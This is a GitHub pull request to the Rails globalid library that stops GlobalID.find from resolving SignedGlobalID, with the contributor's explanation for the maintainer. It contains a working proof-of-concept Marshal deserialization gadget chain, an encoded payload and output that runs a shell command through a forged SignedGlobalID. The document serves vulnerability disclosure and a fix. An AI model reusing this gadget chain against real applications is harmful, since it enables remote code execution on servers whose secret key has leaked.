Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

prevent double find #148

Merged
merged 2 commits into from
Dec 26, 2022
Merged

prevent double find #148

merged 2 commits into from
Dec 26, 2022

Conversation

ooooooo-q
Copy link
Contributor

GlobalID and SignedGlobalID themselves have a .find method, so they can be specified as a model.
SignedGlobalID is in danger of unexpected RCE if secret_key_base is compromised because Marshal is used internally.
This pull request prevents GlobalID and SignedGlobalID from being targeted.

@dhh
Copy link
Member

dhh commented Dec 16, 2022

Can you explain a bit further how you see the marshal exploit? Can't follow that thread.

@ooooooo-q
Copy link
Contributor Author

@dhh

Verifier for SignedGlobalID inherits from ActiveSupport::MessageVerifier, and this class uses marshal as serializer until Rails 7.1.
For this reason, there are places where SignedGlobalID is used, and RCE is possible if the secret_key_base value is known.

There are several ways to RCE from Marshal, but with rubygems and activesupport it is feasible for most applications where globalid is used.

In addition to these, GlobalID.find may be implemented to accept user input in other applications such as https://graphql-ruby.org/schema/object_identification.htm, which is a potential risk.
This fix mitigates the risk by preventing SignedGlobalID from being called from GlobalID.find.

PoC

attack_text.rb

require 'globalid'
require 'active_support/key_generator'
require 'base64'

# attack code
gemspec = Gem::Specification.new("\n`touch me`#")
gemspec.version = "2"
pakcage = Gem::Installer::FakePackage.new(gemspec)
geminstaller = Gem::Installer.new(pakcage)
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new geminstaller, :ensure_loadable_spec
payload = Marshal.dump(dump_target)

data = ::Base64.strict_encode64(payload)

# globalid
SignedGlobalID.verifier = GlobalID::Verifier.new("dummy_secret_key_base")
digest = SignedGlobalID.verifier.send(:generate_digest, data)
rce_sgid = "#{data}--#{digest}"

puts rce_sgid
❯ bundle exec ruby attack_text.rb
Calling `DidYouMean::SPELL_CHECKERS.merge!(error_name => spell_checker)' has been deprecated. Please call `DidYouMean.correct_error(error_name, spell_checker)' instead.
Calling `DidYouMean::SPELL_CHECKERS.merge!(error_name => spell_checker)' has been deprecated. Please call `DidYouMean.correct_error(error_name, spell_checker)' instead.
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86E0dlbTo6SW5zdGFsbGVyFDoNQG9wdGlvbnN7CjoMYmluX2RpcjA6EGVudl9zaGViYW5nRjoKZm9yY2VGOhVvbmx5X2luc3RhbGxfZGlyRjoZcG9zdF9pbnN0YWxsX21lc3NhZ2VUOg1AcGFja2FnZW86IEdlbTo6SW5zdGFsbGVyOjpGYWtlUGFja2FnZQk6CkBzcGVjdToXR2VtOjpTcGVjaWZpY2F0aW9uAbkECFsYSSIKMy4zLjcGOgZFVGkJSSIRCmB0b3VjaCBtZWAjBjsAVFU6EUdlbTo6VmVyc2lvblsGSSIGMgY7AFRJdToJVGltZQ1Arh7AAAAAAAY6CXpvbmVJIghVVEMGOwBGMFU6FUdlbTo6UmVxdWlyZW1lbnRbBlsGWwdJIgc+PQY7AFRVOwZbBkkiBjAGOwBGVTsJWwZbBkAQMFsASSIABjsAVDBbADAwVEkiCXJ1YnkGOwBUWwB7ADoOQGRpcl9tb2RlMDoPQHByb2dfbW9kZTA6D0BkYXRhX21vZGUwOhFAZW52X3NoZWJhbmdGOgtAZm9yY2VGOhFAaW5zdGFsbF9kaXIwOg5AZ2VtX2hvbWVJIkUvVXNlcnMvb29vby9zdXJ2ZXkvcmFpbHNfZ2xvYmFsX2lkX3Rlc3QvdmVuZG9yL2J1bmRsZS9ydWJ5LzMuMS4wBjoGRVQ6EUBwbHVnaW5zX2RpckkiTS9Vc2Vycy9vb29vL3N1cnZleS9yYWlsc19nbG9iYWxfaWRfdGVzdC92ZW5kb3IvYnVuZGxlL3J1YnkvMy4xLjAvcGx1Z2lucwY7GVQ6GUBpZ25vcmVfZGVwZW5kZW5jaWVzMDoXQGZvcm1hdF9leGVjdXRhYmxlMDoOQHdyYXBwZXJzMDoWQG9ubHlfaW5zdGFsbF9kaXJGOg1AYmluX2RpckkiSS9Vc2Vycy9vb29vL3N1cnZleS9yYWlsc19nbG9iYWxfaWRfdGVzdC92ZW5kb3IvYnVuZGxlL3J1YnkvMy4xLjAvYmluBjsZVDoRQGRldmVsb3BtZW50MDoQQGJ1aWxkX3Jvb3QwOhBAYnVpbGRfYXJnczA6DEBtZXRob2Q6GWVuc3VyZV9sb2FkYWJsZV9zcGVjOglAdmFySSIaQGVuc3VyZV9sb2FkYWJsZV9zcGVjBjsZVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsZVA==--e0f9c1cba154d828af584192572171f9e68e603c
require 'globalid'

SignedGlobalID.verifier = GlobalID::Verifier.new("dummy_secret_key_base")
#use the output at  attack_text.rb
rce_sgid = "BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86E0dlbTo6SW5zdGFsbGVyFDoNQG9wdGlvbnN7CjoMYmluX2RpcjA6EGVudl9zaGViYW5nRjoKZm9yY2VGOhVvbmx5X2luc3RhbGxfZGlyRjoZcG9zdF9pbnN0YWxsX21lc3NhZ2VUOg1AcGFja2FnZW86IEdlbTo6SW5zdGFsbGVyOjpGYWtlUGFja2FnZQk6CkBzcGVjdToXR2VtOjpTcGVjaWZpY2F0aW9uAbkECFsYSSIKMy4zLjcGOgZFVGkJSSIRCmB0b3VjaCBtZWAjBjsAVFU6EUdlbTo6VmVyc2lvblsGSSIGMgY7AFRJdToJVGltZQ1Arh7AAAAAAAY6CXpvbmVJIghVVEMGOwBGMFU6FUdlbTo6UmVxdWlyZW1lbnRbBlsGWwdJIgc+PQY7AFRVOwZbBkkiBjAGOwBGVTsJWwZbBkAQMFsASSIABjsAVDBbADAwVEkiCXJ1YnkGOwBUWwB7ADoOQGRpcl9tb2RlMDoPQHByb2dfbW9kZTA6D0BkYXRhX21vZGUwOhFAZW52X3NoZWJhbmdGOgtAZm9yY2VGOhFAaW5zdGFsbF9kaXIwOg5AZ2VtX2hvbWVJIkUvVXNlcnMvb29vby9zdXJ2ZXkvcmFpbHNfZ2xvYmFsX2lkX3Rlc3QvdmVuZG9yL2J1bmRsZS9ydWJ5LzMuMS4wBjoGRVQ6EUBwbHVnaW5zX2RpckkiTS9Vc2Vycy9vb29vL3N1cnZleS9yYWlsc19nbG9iYWxfaWRfdGVzdC92ZW5kb3IvYnVuZGxlL3J1YnkvMy4xLjAvcGx1Z2lucwY7GVQ6GUBpZ25vcmVfZGVwZW5kZW5jaWVzMDoXQGZvcm1hdF9leGVjdXRhYmxlMDoOQHdyYXBwZXJzMDoWQG9ubHlfaW5zdGFsbF9kaXJGOg1AYmluX2RpckkiSS9Vc2Vycy9vb29vL3N1cnZleS9yYWlsc19nbG9iYWxfaWRfdGVzdC92ZW5kb3IvYnVuZGxlL3J1YnkvMy4xLjAvYmluBjsZVDoRQGRldmVsb3BtZW50MDoQQGJ1aWxkX3Jvb3QwOhBAYnVpbGRfYXJnczA6DEBtZXRob2Q6GWVuc3VyZV9sb2FkYWJsZV9zcGVjOglAdmFySSIaQGVuc3VyZV9sb2FkYWJsZV9zcGVjBjsZVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsZVA==--e0f9c1cba154d828af584192572171f9e68e603c"

# call SignedGlobalID from GlobalID
gid = "gid://bcx/SignedGlobalID/#{CGI.escape(rce_sgid)}"

result = GlobalID.find gid
puts result
❯ bundle exec ruby globalid.rb
Calling `DidYouMean::SPELL_CHECKERS.merge!(error_name => spell_checker)' has been deprecated. Please call `DidYouMean.correct_error(error_name, spell_checker)' instead.
Calling `DidYouMean::SPELL_CHECKERS.merge!(error_name => spell_checker)' has been deprecated. Please call `DidYouMean.correct_error(error_name, spell_checker)' instead.
DEPRECATION WARNING: @ensure_loadable_spec is deprecated! Call ensure_loadable_spec.[] instead of @ensure_loadable_spec.[]. Args: ["expires_at"] (called from <main> at globalid.rb:7)
....ruby/3.1.0/rubygems/specification.rb:2111:in `method_missing': undefined method `[]' for #<Gem::Specification:0x00000001047a7e98 @extension_dir=nil, @full_gem_path=nil, @gem_dir=nil, @ignored=nil, @bin_dir=nil, @cache_dir=nil, @cache_file=nil, @doc_dir=nil, @ri_dir=nil, @spec_dir=nil, @spec_file=nil, @gems_dir=nil, @base_dir=nil, @loaded=false, @activated=false, @loaded_from=nil, @original_platform=nil, @installed_by_version=nil, @autorequire=nil, @date=2022-12-18 00:00:00 UTC, @description=nil, @email=nil, @homepage=nil, @name="\\n`touch me`#", @post_install_message=nil, @signing_key=nil, @summary="", @version=#<Gem::Version "2">, @authors=[], @bindir="bin", @cert_chain=[], @dependencies=[], @executables=[], @extensions=[], @extra_rdoc_files=[], @files=[], @licenses=[], @metadata={}, @platform="ruby", @rdoc_options=[], @require_paths=["lib"], @required_ruby_version=#<Gem::Requirement:0x00000001047a7a60 @requirements=[[">=", #<Gem::Version "0">]], @_sorted_requirements=[[">=", #<Gem::Version "0">]]>, @required_rubygems_version=#<Gem::Requirement:0x00000001047a73f8 @requirements=[[">=", #<Gem::Version "0">]]>, @requirements=[], @rubygems_version="3.3.7", @specification_version=4, @test_files=[], @new_platform="ruby", @full_name=nil  (NoMethodError)
`touch me`#-2>

=> me file is created.

@dhh dhh merged commit b670d36 into rails:main Dec 26, 2022
@ooooooo-q ooooooo-q deleted the fix/prevent_double_find branch October 27, 2023 10:54
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants